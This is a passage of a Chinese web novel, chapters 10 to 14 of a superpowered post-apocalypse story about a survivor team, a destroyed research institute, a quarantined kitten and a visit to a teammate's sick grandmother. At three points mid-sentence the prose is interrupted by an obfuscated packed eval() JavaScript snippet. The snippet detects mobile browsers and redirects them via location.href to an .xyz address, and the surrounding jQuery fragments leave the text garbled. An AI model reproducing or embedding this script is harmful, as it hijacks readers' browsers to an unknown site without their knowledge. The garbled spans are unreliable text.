“这是你说的哦。” 许婉滢这才拍拍手，腰包里的东西应声抖落。 各类医疗设备和电力设备凭空出现，堆满了整间会客厅。 康仁坤扫了一眼，没看到自己想要的东西，追问：“药剂、医疗记录和报告呢？” “这些，我打算自己研究。” “许队长，基地有规定，小队获取的物品应该无条件上交，由基地统一发放积分作为奖励。” “你说的是基地任务。”许婉滢耸耸肩，“可我们是私自行动啊，并没有动用基地发放的任何武器和药品。” “我们捡到的东西，属于无主物品。” “上交，是为了表达我们对基地有情分。 “不上交，才是我们的本分。” 康仁坤迅速回顾临时小队从头到尾用过的东西，大多是自带的异能，至于少数物品…… 田队长立马反馈：“炸药包是我用异能变出来的，没有占用任务份额。” 康仁坤冷哼：“那褚青缇的箭呢？” “康医生，你对我们家小缇子太不了解了。”许婉滢支起手指，搓着下巴，“复合弩是她刚来基地时就有的，箭也是她自己一支一支打磨的，没有占到基地的任何便宜。” 康仁坤哑然。 他是真没想到，这帮人去清扫死亡率高达60%的高危区域，打一开始就特意规避了使用基地用品。 玩这么大，完全不要命。 这是不是说明，他们一早就笃定他们能活下来，并谋划好打算私吞？ “婉滢，这不合规矩。”欧阳开了口，“你身为基地高层，必须以身作则、树立榜样，不能钻基地的漏洞。” “对啊，我就是在钻漏洞。谁让你留出漏洞引诱我钻呢？” 许婉滢坦然承认。 “我们拿命拼出来的战利品，我们当然有权利自由分配。” 11. 第 11 章 “其它的随便你处置，但研究院相关的不行，它可能涉及到人类存亡的头等利益。” 欧阳态度始终温和，但语气不容质疑。 会客厅的气氛剑拔弩张，临时小队众人大气也不敢出，生怕自己沦为高层争斗的牺牲品。 “既然双方都不想让步，那就合作好了。” 从始至终围观了整场闹剧的另外三名高层，总算站出来发言表态。 “对，既然许队长想要主导研究，那老大这边安排人配合就好。” “这样再好不过。” “大家的初衷都是为了基地，为了全人类的利益。” 欧阳晦涩的双眸透过薄薄的镜片，温和地注视着许婉滢：“你觉得呢？” 许婉滢沉默片刻，缓缓呼出一口气：“可以。” “那就一言为定。” 欧阳微微一笑，非常绅士地伸出手。 许婉滢下巴微抬，敷衍地碰了碰他的指尖。 指尖一触即离。 再缩回手时，她掌心多了一样东西。 她不动声色地收好东西，“一言为定。” 基地高层达成一致，众人都松了一口气。 临时小队自愿献出医疗、电力设备和枇杷树，基地投桃报李，拨了一大笔积分，由许婉滢根据成员的贡献合理分配。 会议进入尾声，几位高层探讨如何进一步对山中研究院进行探索，许婉滢似笑非笑地打断了他们。 “探索什么？废墟吗？” 康仁坤这才意识到了什么，猛地看向拥有【爆裂】异能的田队长，神情仿佛恨不得吃了他。 田队长额头留下一串冷汗，结结巴巴问：“有、有什么问题吗？” “看他做什么？看我啊！”许婉滢嚣张地翘起大长腿，搭在茶几上，“我是队长，我命令他炸的，他敢不听？” 她神情亢奋地搓了搓手指头，目光满怀恶意地扫过众人。 “可惜你们不在现场，不知道有多壮观。” “当【爆裂】遇上【燎原】，崩——” “一整栋楼，全部夷为平地，只剩下一堆钢筋水泥。” 听到“钢筋水泥”四个字，李建钢眉头一动，仿佛触发了关键字，憨厚老实的黑脸上映满红光。 “老大，需要重建不？我可以……” 【基建狂魔】四个字，实至名归。 “重要的是那栋破房子吗？！”康仁坤脸色难看，“里面的实验体、实验成果，都是这些研究员用命换来的心血。许队长，就因你一念之差，全毁了！” 许婉滢冷笑：“我只知道，那栋楼会吃人，那栋楼里的东西非常危险。它随时可能扩张领地，侵入我们基地，吞噬掉居民。如果我不轰掉它，康医生，以你的实力，你连踏足研究院的资格都没有。” “你！” “你什么你？先前失踪的那二十多名战斗队的异能者，无声无息就被那栋楼吞掉，毫无反抗之力。这次过去，我们连他们的尸骨都没找到。你是不是觉得，你比他们加起来更厉害？” “你也知道你没找到他们的尸骨，万一他们还活着，你直接上炸药包，不就害死他们了？” “你在做什么梦呢？他们是人，只要是人，在这么危险的地方迷失半个月，都没有存活的可能性。” “笑话，能有多危险？他们只是没有防备才会中招，你们这次不挺顺利的？一个人员折损都没有。”康仁坤补充，“褚青缇那个灾星不算，她哪次出任务没发生意外？” “那是因为我们有‘概率’！”许婉滢脱口而出。“你口中的灾星，似乎救了我们所有人的命。” 康仁坤冷冷道：“把‘概率’借给我，我也能走一趟。” “概率啊……” 许婉滢换了个舒服的姿势，惬意地半躺在皮椅中，眼睑微合。 她漫不经心地睨着他，语气松散。 “概率可是随时会发生变化的哦。小缇子进入那栋楼以后，异能就彻底失控了，从0到100之间摇摆不定。康医生，你敢用自己的命去赌一局吗？” “……” 康仁坤无话可说。 是的，他惜命。 尽管在手术台上，他总是会习惯性地提醒每一个病人手术有风险，平等地看不起所有被风险压垮的病人及家属。 “手术哪会有百分百的成功率？怕失败就别做，选择保守治疗。” 但轮到他自己时，他比任何人都要惧怕风险。 ——正因为他可以清楚地看到每一处风险，近距离接触过太多惨象，他才更畏惧风险。 “行了，炸都炸了，争论这些没有意义。”欧阳头痛地揉着太阳穴，“如果不放心，康医生可以带上李果、褚青缇，去废墟转转。” “……褚青缇就算了。”康仁坤脸色一变。 “行，你自己挑队友吧。” 散会后，欧阳叫住王苏，让他留下来登记刚需品。 “刚需品啊……” 王苏一点也不客气，当真咬着指头，冥思苦想起来。 他猛一击掌，眼睛一亮，口若悬河地说出了十几个愿望。 “我想喝可乐，想打游戏，想听歌，想吃火锅，想打架子鼓，想要一架直升机，还想要一辆坦克……” 欧阳：“……” 王苏怀疑地看向他，“不对啊，老大你能享受这种待遇吗？如果连你都享受不到，那就更别提我了。” 欧阳：“……”扎心了。 他勉强挤出一丝笑。 “可乐应该还有库存，火锅也不是没有办法。别的你先登记，等基地有了这些，你可以优先挑选。” “真的吗？谢谢老大！”王苏探过头，开开心心地盯着登记人员登记在册，生怕对方遗漏了哪一项。 这小子一看就头脑单纯。 欧阳斟酌片刻，旁敲侧击：“小王啊，你可以凝出多高的冰梯？” “两层楼高吧。” “两层楼？我记得你们说过，那位幸存者是在五楼，对吧？” “对。” “你们去五楼搜寻过，没有发现她吗？” “没有吧。” “下面四层都有不同程度的危险，偏偏五楼什么都没有，你不觉得很奇怪吗？” “谁说五楼什么都没有？”王苏不认同地瞪大眼。 来了来了，终于来了。 欧阳不由屏息，“五楼有什么？” “有我啊！” 欧阳：“？？？” 王苏骄傲地发动异能，凝出一截拇指粗的冰条，“瞧瞧这是什么？冰！所谓‘冰’，清澈透明，代表纯洁无瑕，邪祟鬼魅最怕的就是我们冰系异能者了！有我在，可以驱邪！” 欧阳嘴角直抽抽：“呵呵。” 他看这小子的脑子确实清澈透明。 忍了忍，他实在忍不下去，怼道：“既然你可以驱邪，那为什么前几天你们小队探查研究院，除了你以外，整支队伍全军覆没了呢？” 王苏一愣，脸上的笑容渐渐消失了。 窝在角落里吃瓜的甄小柔走过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544142|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，跟王苏错身而过，拉了拉欧阳的衣袖，满脸不赞同。 欧阳心里刚升起一缕愧疚，却见王苏大惊失色地蹦了起来。 “糟了，我出门前在炉子上温了一锅汤，这么长时间没回去，我家的锅多半要烧穿了！老大我得先走了，回头我再列几条心愿清单。” 欧阳默默观察王苏的神情、动作，王苏的神态很纯粹很自然，不似作伪。 如果这是演出来的，只能说这小子演技也太好了点。 欧阳只得温声道：“去吧。” 王苏跑出门，差点被守在门外的许婉滢绊倒。 “欧阳问你什么了？” “问我五楼有什么。” “你怎么回答的？” 王苏得意道：“五楼有我，我召唤出来的冰可以驱邪。” 许婉滢笑出了声。 王苏疑惑地歪了歪头，“我说错了吗？” “没有，你说得很好。”许婉滢伸出胳膊，虚虚搭在王苏肩头，“回头我让小缇子送一箱可乐去你家。” “真的？许队长大好人啊！谢谢许队长！” 王苏一蹦一跳地离开了。 在他的背影消失在视野范围之后，许婉滢渐渐收起脸上的表情，目光直勾勾地盯着他消失的地方。 “喂。”她忽然自言自语，“你说，一个冰系异能者，他身上到底有什么特别的，可以从一支全灭的队伍中幸存？” “他身上有秘密。” 身后，甄小柔悄无声息地出现。 漆黑的眸子里，荡出一圈圈波澜。 “他怕我。” “刚才，我跟他擦身而过，他抖得很厉害。” “他突然变脸离开，并不是因为欧阳提到了灭队的事，而是因为感应到了我的接近。” “他对我十分畏惧。” 甄小柔外表柔弱，性子沉静，谁会害怕这样的女孩子呢？ 许婉滢若有所思道：“冰系异能者，会畏惧【百川归海】吗？难道是因为‘冰’属于‘水’的变种？有点意思。” “我一直在想，为什么这次行动会这么顺利？除了‘概率’以外，会不会还有其它影响因素？” “小柔，明天你和小缇子走一趟，去给王苏送一箱可乐吧。” 而另一头。 康仁坤以最快的速度召集人马，带上李建钢和李果，前往山中探查。 研究院的五层小楼坍塌，只剩被炸裂烧焦的残垣断壁，露出墙体里一节节□□的钢筋。 李建钢黝黑粗糙的大掌按在残垣之上。 许久，遗憾地摇了摇头。 “房子可以重建，但建起来的，只是一幢普通楼房。” 他轻松地掰下一段钢筋，拎在手里掂了掂。 “材质很特别，正好我可以带回去研究。” 李果满地搜罗那些炸碎的试剂，挖出被液体浸染呈现出不同颜色的泥土块，小心地装进密封袋。 “看起来，像是很胆大的实验。”青年举起密封袋，透过云层下微弱的日光，观察泥土的变化，“涂博士，涂博士……姓涂，会是那位伟大的生物学家吗？” 康仁坤将现场所有可疑的残肢归置起来。 许婉滢费尽心思炸了这里，试图藏起一个足以影响人类生死存亡、事关末世进程的惊天大秘密，他偏不教她如愿。 三人均心满意足地带回了自己想要的东西。 人群散尽之后，那些被挖开的泥土下面，一块块不起眼的深色泥巴，忽然往上拱了拱，渐渐汇聚在一处。 12. 第 12 章 褚青缇在基地医院简单接受了治疗，拿着医生开的药，回家躺了两天。 睡得迷糊时，她隐约听到小猫粗噶嘶哑的叫声。 一睁眼，宿舍里空空荡荡，只有她用旧衣服给小猫搭的窝。 小猫才领回来睡了一晚，她却已经习惯小猫的陪伴了。 不知道猫在研究室会不会害怕，万一应激挠人咬人，这小家伙就要受罪了。 异能者体质强悍，不过两天，褚青缇脱力的胳膊腿脚渐渐恢复如常。 她用刚发的积分兑换了一些营养品和鸡胸肉，忧心忡忡地去隔离区探望孙笋。 孙笋已经醒了，只是精神不太好。 隔着隔离门，他勉强挤出笑容：“褚姐，听说你前几天出任务了，你还好吧？” 他要是昏睡着，褚青缇还能放下东西就走，到此一游。 可他醒了，褚青缇不得不寒暄几句。 “我还好，你呢？什么时候可以出隔离区？” “还不确定，医生说还有一点异常，要多观察几天。” “什么异常？” “好像是说细胞分化速度过快什么的，我也不懂。” “哦，细胞分化啊……” 两人干巴巴地扯了几句闲篇，陪护的教练先受不了了，粗声粗气问：“你们聊得尬不尬？” 孙笋有些不好意思，尽管同在战斗队一年多，但两人的交情，说实话，挺一般的。 褚青缇太有距离感了，出任务时躲在最后方放冷箭，回基地后又常年闭门不出。 他刚从教练口中听说褚青缇收养了一只残疾小猫，还单枪匹马（在教练眼里，王苏那点战斗力可以忽略不计）救回了一名幸存者，下巴都快惊得掉下来。 真看不出来，褚姐居然是这么有人情味的人吗？ 想到这里，他探头看了看：“褚姐，听说你养了只小猫，猫在哪呢？” “研究室。外来者需要经过体检才能进入基地。” 这笑话有点冷。 孙笋脸上的笑意终于有了几分真实，“阿猫阿狗也要体检？” “就怕以后，飞到基地的蚊子没准都得接受体检。” 褚青缇模仿从涂嘉书身上学到的冷幽默。 她面无表情地说着吓唬人的话。 “山里那个研究院有问题，他们把动物细胞嫁接到感染者身上，编辑成新型污染体。我们这段时间在南面接触到的昆虫类污染体，有可能是人为产物。” “人为……产物？”教练和孙笋呆住。 “当然，这只是我的猜测。”褚青缇微微点头，“我还要去看小猫，改天再来看你。” 她转身离开。 涌上喉咙口的那句“对不起”，还是没能说出来。 她拧着眉，忧心忡忡。 这些话，高层有禁令，队长不方便说，只能借她的口，提醒全队队员。 如果她的猜测属实，经过人为编辑基因的感染体的血液混入到孙笋身体里，会是什么结果？仅仅只是“细胞分化速度过快”吗？基地又会怎么处置孙笋？ 研究院里那一堆实验体的惨状，令她有非常不好的预感。 涂嘉书和小猫待的研究室，在基地另一个方向。 褚青缇绕路匆匆路过集市，忽然意识到自己忘了给涂嘉书带探病礼物。 目光匆匆在基地居民们摆的小摊上掠过，停留在一只四五十厘米高的玩偶身上。 玩偶啊。 小姑娘应该会喜欢的吧？ 她用物资券换下了这只玩偶，继续前往研究室。 涂嘉书安安静静坐在病床上，聚精会神地看着研究室特供给病患的书画图册。 图册是幼儿班级别的简笔画，涂嘉书却看得很专注。 “哈喽。” 褚青缇干巴巴地打了声招呼。 涂嘉书从图册里抬起头来，看到是她，漆黑的双眸中满是惊喜，“青缇姐姐！” 隔着一道钢化玻璃门，褚青缇挥挥手招来观察员，托观察员把自己带的小礼物送进去。 一只软萌可爱的小兔子，被塞进涂嘉书怀里。 涂嘉书愣愣地低头，跟小兔子玩偶的红眼睛对视。 她迟缓地眨眨眼，“这是……” “小兔子。”褚青缇问，“喜欢吗？” “是研究院里用来解剖的小兔子吗？” 小姑娘的笑话，还是那么冷。 褚青缇抽抽嘴角：“这只小兔子是送给你抱着玩的，不是用来解剖的。” 涂嘉书眼底浮起一星半点奇异的光，“不是用来解剖的呀？真好。” 小姑娘不知道在研究院受到了什么刺激，脑回路奇奇怪怪。 褚青缇心生怜悯，放软语气：“对。我不知道你喜欢什么，也不知道你还会在实验室待多久，怕你无聊，就给你买了只小兔子陪伴你。” “喜欢。”涂嘉书收紧胳膊，将小兔子死死圈在怀里。 毛绒绒的触感，仿佛隔着衣服和皮囊，在一下一下地挠着她的心脏。 她语气欢喜，郑重地重复道：“喜欢的。” “喜欢就好。”褚青缇松了一口气，“如果有什么短缺的，可以告诉我，我尽量帮你找来。” 涂嘉书的目光却落在她手里的纸袋上。 “青缇姐姐。”她问，“这些不是给我的吗？” “啊？”褚青缇顺着她的视线低头，有点好笑地拆开纸袋，露出里面煮熟后撕成一条条的鸡胸肉，“不是，这是给小猫带的，怕它吃不惯实验室的东西。” “给小猫带的……？” “对，实验室只提供米粥，小猫不能拿米粥当主食，需要补充高蛋白，否则容易营养不良……” 一提到养猫心得，褚青缇的话就多了起来。 她从猫奴李盼那里学到了好多养猫小常识，记得头昏脑胀。 她不知道，她说这段话时，眼睛有多明亮，神采有多飞扬。 涂嘉书垂着眼，轻声道：“给小猫准备的吗……” “嗯，先不跟你说了，我去看看小猫。”褚青缇顺势提出了告辞。 涂嘉书脸上的神情彻底消失，恢复成一片空白。 就跟两天前，她站在研究院五楼，自上而下，看着院子里忙忙碌碌不知所谓的蝼蚁们，表情一模一样。 “小猫，小猫，又是小猫。” 涂嘉书咬着压根，脸上涌现出愤恨之色。 她死死箍住怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544143|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兔子，一把扯掉身上的连接器，暴躁地踱来踱去，语气阴森。 “该死的猫！” “我要杀了它。” “杀了它杀了它杀了它杀了它杀了它！！！” 观察室里，仪器上的一串串数据突然狂暴乱窜，“滴滴滴——”声不绝于耳。 观察员惊得跳起，迅速记录下来。 下一秒，涂嘉书阴沉的脸出现在他身侧。 “喂。” 观察员一个激灵，心脏几乎骤停，“你你你！你是怎么出来的？” 涂嘉书抱着小兔子，盯着他的眼睛，瞳孔中泛起一圈圈蛊惑人心的涟漪。 她问：“你们人类，有什么办法，可以悄无声息地解决掉那只碍事的猫？” 关小猫的研究室在最里面。 褚青缇刚出现在门口，小猫似乎有所感应，远远地踩着轮子飞奔过来，对着玻璃门一通挠。 “喵喵喵！——” 小猫叫声凄婉，嗓音委屈，似乎在跟她告状：实验室的饭菜好难吃，实验室的被窝不舒服，实验室的人也好凶。 它看上去有点狼狈，小推车上挂了一个点滴瓶，前肢上扎着针头，随着它激烈的动作，针头歪了出来。 观察员冲过来，利落地拔掉针头，一把抱住胡乱挣扎的小猫，迅速重新扎了一针。 小猫吃痛，抬起爪子，挠破了观察员厚厚的防护服。 得亏防护服够厚，不然这一下肯定会见血。 “脾气挺坏！还挠人，坏小猫！”观察员好气又好笑，抬头瞅见玻璃门外眼巴巴的褚青缇，眼里的笑意变得更加明显，“褚小姐，你来看猫了？” “对。” 褚青缇有点意外，对方居然认得自己。 “放心，小猫只是有点紧□□康方面，除了后腿残疾，没太大问题。”观察员道，“它脾气坏，可能跟进入发.情.期有关，如果褚小姐有需要的话，我可以顺手替你帮猫做下绝育。” 小猫跳将而起，一个高抬腿，巴掌呼在观察员的口罩上。 厚实的医疗防护口罩被撕开一道口子，暴露在空气中的脸颊感觉到了一丁点儿刺痛感。 “我就不应该心软把你松开！人好猫坏！” 观察员脸色一变，捉住不听话的坏猫，拽过束缚带，严严实实绑在病床上。 长1.8米、宽0.9米的床上，绑着一只拼命挣扎嗷嗷乱叫的小猫。 小猫只有丁点大，原本狭小的病床在它的衬托下，显得格外大，像极了小说里写的“总裁从他一万平米的大床上醒来”。 这场景，小猫好惨，观察员也好惨，但褚青缇还是没忍住笑出了声。 心软的观察员好可爱。 凶巴巴打人的坏猫也好可爱。 她拿出自己带来的鸡胸肉，递给观察员：“我家小猫有点皮，辛苦你了。它还要隔离多久？我给它带的吃的，它能吃吗？” “给我就好，我喂给它吃。” 观察员按下开门按钮，拉开一小条缝，伸长手接过鸡胸肉。 “它的检测结果有点异常，可能以前流浪时感染了一些脏东西，需要复查风险指数和传染性。只要没有太大危险，它很快就能恢复自由。” 13. 第 13 章 “风险指数和传染性？” 褚青缇瞅了一眼小猫，小猫直挺挺被捆在床上，可怜弱小又无助。 她甚至从猫猫头上看出了“委屈”俩字。 虽然有点不道德，但她还是想笑。 “如果可能有传染性的话，那你……”褚青缇重新看向观察员，指了指自己的脸颊，“不需要处理一下伤口吗？” 观察员口罩破损，一小部分白皙的皮肤暴露在外，渗出了一丁点儿鲜血。 他笑了笑，眼睛弯成一道月牙，眉眼十分招摇，“我？不碍事的，我有抗体。” “倒是褚小姐你。”观察员退回房间，隔着一道隔离门，静静注视着她，“真的不需要我替你的猫做绝育吗？” “嗷嗷嗷嗷呜——！” 病床上的小猫，凄厉地骂出一连串的喵喵脏话。 观察员歪了歪头，鲜红的伤口衬着苍白的皮肤，显得格外触目惊心。 “它好像能听懂我们在说什么呢，真是有趣的小家伙。” 褚青缇看着被绑在病床上的小可怜，很想上手摸摸猫猫头。 它大概会嗲嗲地“喵喵”叫着，拿脑袋瓜蹭她的手心。 残疾小猫真的很好哄。 可惜在复查结果出来前，小猫必须隔离。 褚青缇只能遗憾作罢，拜托观察员费心照顾小猫。 观察员眉眼弯弯，嗓音愉悦：“不费心，能观察这么可爱的小东西，比观察虚伪狡诈的人类好多了。” 褚青缇深有同感，用力点头。 “褚小姐，下次见。” 观察员语气甜腻地告别。 “下次见。” 褚青缇扫了一眼墙上的值班表，今日值班人员的姓名赫然在列：扶双萄。 很特别的名字。 她从记忆里搜刮了一圈，完全没印象。 回到宿舍后，褚青缇接到许队长临时委派的私人任务——给王苏送一箱可乐。 奖励是一张水券。 有钱赚，褚青缇自然积极。 许婉滢面朝墙角，勾了勾精巧的下巴，“这次任务，你跟小柔一起去。” 褚青缇这才发现走廊里还有一个年轻女孩，外表柔柔弱弱，神情有种死宅的萎靡感，顶着两个硕大的黑眼圈，眼袋几乎快垂到颧骨。 “甄小柔，水系异能者。” 许婉滢简单介绍来人的身份，褚青缇倒吸一口冷气。 基地五大高层之一，听说是当年许队长从其它基地挖来的最强辅助，平时基本不露脸。 甄小柔负责处理一些跟水有关的事务，基地里的水源大多来源于她，就连一些需要水力发电的设施，也少不了她的助力。 比如许队长刚才当做任务奖励发放给褚青缇的水券，就来自于甄小柔的异能。 以褚青缇对自家队长的了解，这张券绝不可能出自队长的钱包。 等等。 也就是说，队长不仅压榨同为高层的甄小柔替自个跑腿，还理直气壮地跟甄小柔索要了一张水券，奴役小队成员褚青缇一块跑腿。 甄小柔付出了劳力和异能。 褚青缇付出了劳力，收获了异能券。 而队长什么也没付出，就收获了两个苦力。 褚青缇：“……” 自家队长还是那么的精打细算，会薅老实人羊毛。 “你好。”不擅长交际的褚青缇干巴巴地打招呼。 “你也好。”同样不擅长交际的甄小柔也语气僵硬地回复。 “行，你俩这就出发吧，早去早回。” 许队长发话，两个初次见面的陌生人组成临时队友，肩并肩走出宿舍楼。 你看看我，我看看你，彼此都很尴尬。 两人默契低头，专心看地面，埋头赶路。 王苏来基地时间不长，跟家人住在基地以北的教学楼。 欧阳基地是在一所高校的基础上建立的，高校自带的围墙就是基地的围墙，行政楼用于开会、给辅助人员办公，实验楼则是天然的研究室。 基地会统一分配住宿，特殊人才住在带独立卫生间的教师宿舍和学生公寓，普通异能者和没有异能的普通人类，则只能住在没有独卫的教学楼。 原本以褚青缇鸡肋的异能，她也是住在教学楼的。但她自带灾星体质，打击面太广，只要是她住过的地方，不是无故起火，就是突然塌房——物理意义上的“塌房”。 许队长为了大局着想，只能接管自家队员，匀出自己分得的一间空置的宿舍，就这样，两人做起了邻居。 “哪有什么灾星体质？自己倒霉，没有怨别人的道理。” 当时，许队长是这么说的。 果然，自从褚青缇搬进宿舍楼以后，宿舍楼风平浪静，什么天灾人祸都没发生过，狠狠打了那些人的脸。 时隔一年，再回到教学楼，褚青缇脚下一顿，脑子里飞快掠过这件前尘往事。 甄小柔似乎没有发现临时队友的落单，埋头只管库库走，很快，她的背影就变成了一个小黑点。 褚青缇定了定神，快步跟上。 甄小柔已走到教学楼门口，抬头用那双萎靡的眼睛看着教学大楼。 褚青缇追上时，刚好听到甄小柔对旁边的大婶说话。 “小褚，王苏住哪间来着？” 大婶吃了一惊，目光怪怪地瞅了小柔一眼，不知为什么没有纠正她的称呼，而是顺口回答：“那个冰系的王苏吗？他住六楼阶梯教室。” 大婶回答完问题，拎着菜篮子就往外走，却被一道水柱拦下。 “你怎么往外走？婉滢姐姐说了，我俩得一起去见王苏。” 提到工作，甄小柔的话多了起来。 她严肃地说：“小褚，在基地，‘服从命令’是第一条规则。” 大婶：“？” 真正的小褚：“？” “不是，小姑娘……”大婶艰难开口，“你认错了人吧。” “我不会认错人的。” 甄小柔看着还是那副柔弱得风一吹就会倒的模样，她召唤出来的水柱也没有杀伤力。 但不知道为什么，注视着水柱的时间久了，大婶的神情开始变得恍惚，耳边听到了海浪拍岸的潮水声，皮肤下的血管一股一股，仿佛克制不住地想要窜出来。 褚青缇不知道发生了什么，但也隐隐感知到了压迫感。 她上前一步，拍了拍甄小柔的肩。 “喂，小柔，我在这呢。” 甄小柔回头，眼神发怔，看她像是在看陌生人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544144|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚青缇试探性地说道：“我褚青缇啊，我就打了一会呆，你跑那么快。” “小褚……？” 甄小柔缓缓收回水柱。 清醒过来的大婶，看她像是在看一个怪物，面露恐惧，仓皇逃走。 “对，是我。”褚青缇上前一步，站在刚才大婶站过的位置，和她肩并肩。 “哦。”甄小柔讪讪低头，不安地绞着手指头，“我不太记得住别人的长相，不好意思。” 褚青缇随口安抚道：“没事，正常。” 难怪这位基地最强辅助很少露面，原来是脸盲。 褚青缇拿余光瞟了一眼她。 真是奇怪的异能。 明明是至纯至柔的水，却有着可怕的压迫感。 难怪会有着【百川归海】这样大气的名称。 就是不知道，这回队长发动最强辅助，是想做什么？ 出乎褚青缇意料的是，阶梯教室里居然住着五六户人。 每户用布帘隔开，固定布帘的绳子拴在窗台上，每家所用的布料款式、颜色不统一，最破的一家帘子明显是用破衣服缝起来的。 刚踏进阶梯教室，小孩的哭闹声、打人的责骂声、老人的抱怨声混杂在一起。 乍一看，就是是一个小型避难所。 褚青缇和甄小柔不由皱了皱眉。 褚青缇一年前住过教学楼，那会基地人没那么多，混住的情况很少见。 甄小柔则十分意外：王苏好歹也是一名冰系异能者，为什么会住在这么破的地方？ 很快，她们就知道了答案。 “小苏，下回少兑点药品，积分要省点点花，多给你自己买些吃的，你看你瘦得。” 角落最破的那一家，用五颜六色旧衣服拼接的布帘被拉开，一股浓重的药味混杂着恶臭传了出来。 紧跟着，王苏端着一盆衣服，钻了出来。 “奶奶别担心，你看我，强壮得很呢。” 他袖子撸起，露出胳膊，硬挤出肱二头肌，正在逗帘子后的人。 帘子后躺着一个老太太，浑身长满脓包，身上贴满了刺鼻的药贴，膝盖下空空荡荡。 “你这孩子！”老奶奶忍不住笑了，用气声责备道：“快把袖子放下，别着凉了，看医生很贵的。” “放心吧奶奶，我上次出的任务奖了好多积分，够咱俩用一段时间了。” 话这么说，王苏还是把端着的盆搁到一边，听话地放下了袖子。 甄小柔迟疑地看着他，不太确定这是不是自己要找的人。 “王苏。”褚青缇出声。 王苏抬头，脸上残余的笑意散去。 目光对上甄小柔时，他身上冒出的一丁点儿恐惧，终于让甄小柔确信他的确是王苏。 三人来到教室外的走廊上，避开人群。 褚青缇问：“你怎么不申请一间好一点的宿舍？” “申请过，没批下来。” 王苏的站位很有意思，他不动声色地贴着褚青缇，和甄小柔保持着一段安全距离。 褚青缇本想问为什么，忽然想起他带着的那位老奶奶。 双腿残疾、长脓包、大小便失禁。 任何一点，对于基地居民而言，都是大雷。 14. 第 14 章 王苏乐观地笑笑：“这里挺好的，大家不会嫌弃我奶奶。我出任务时，邻居还可以帮忙照顾我奶奶。” 褚青缇将提着的一箱罐装可乐递过去。 “喏，过期了，你看体质决定要不要喝。” 罐装可乐的保质期只有十二个月。 进入末世已有一年多，末世后没人会再生产可乐，而末世前生产的可乐早就过期了。 当然，除了个别不愁吃穿的幸运儿及体质脆弱一沾过期食品就闹肚子的小脆皮，很少有人会介意享用过期食品。 只要食品表面没有明显的发霉变质，大家照吃不误。 “哇，真的有可乐！” 王苏开心地接过，三两下拆箱，一溜烟跑回阶梯教室。 他咋咋呼呼地喊道：“大家快来，有可乐喝！” 一箱可乐很快瓜分完毕。 褚青缇有些意外。 可乐在战时属于军需物资，在末世后依然属于人类在饱腹后可以小小奢侈一把的“享乐型物资”。 欧阳动动嘴皮子拨出一整箱，已经是大手笔了。 谁能想到，王苏不留着自个慢慢喝，也没想着兑换成更紧缺的物资，反而拿来随手送人。 王苏自留了三罐，扯开拉环，高高兴兴地喂奶奶喝下。 “奶奶，看，这是什么？哈哈哈，是你心心念念的可乐！没想到吧？” 白发苍苍的老奶奶就着孙子的手，咕噜咕噜一口喝了小半罐，长长打了个气嗝。 “如果有炸鸡，就更好了。” 病榻上，奶奶浑浊的眼眸里闪烁着异样的光。 “会有的。”王苏替奶奶掖了掖被角，将手里没喝完的的可乐和另一罐未开封的可乐放在床头，宽慰道，“奶奶尽管放心，你孙子这么厉害，一定可以帮你弄到炸鸡的。” 奶奶憔悴蜡黄的脸上，爬满了笑意。 像是初春招展的迎春风，风一吹，迎风怒放。 “让你们见笑了。” 钻出阶梯教室，王苏递来一罐可乐。 “我奶奶很喜欢喝可乐、吃炸鸡，但我爸妈不准她吃。以前，我每次放假回家，总带她上街偷吃垃圾食品，那是我奶奶最开心的一段时光。回家以后，我俩又缩着脖子，跟鹌鹑似的挨训。” 提到往事，王苏满脸怀念。 甄小柔听得泪眼花花，一改往日的内向社恐，抽着鼻子接话：“嗯，看出来了，奶奶是个很特别的老太太呢。” 这姑娘泪点挺低，跟水做的一样。 褚青缇面无表情地吐槽，内心没有丝毫波澜。 一对比，她简直冷酷得像个职业杀手。 “喏。”王苏又把可乐往这边递了递，“家里没什么可以用来招待的，别嫌弃啊。” 他只留了三罐可乐，两罐给奶奶，最后一罐就在他手里。 褚青缇和甄小柔自然不能接，齐齐摇头。 王苏惭愧地挠挠头，“太失礼了。” 褚青缇宽慰道：“我们不缺这些，队长给的积分完全足够我们生活。” “许队长真的很大方吗？”王苏眼睛亮亮的，“你们队还缺人不？” 王苏所在的战斗队，在不久前探查山中研究院时全军覆没，褚青缇也有所耳闻。 她老老实实回答：“这你得问我们队长。” 内推的机会没了，王苏惋惜地点点头。 他给自己开了一罐可乐，微微仰起脖子，抿了一口。 涌上喉咙口的气泡，令他惊喜地打了个小嗝。 “哇，原来这就是可乐啊！” 好奇怪的表述。 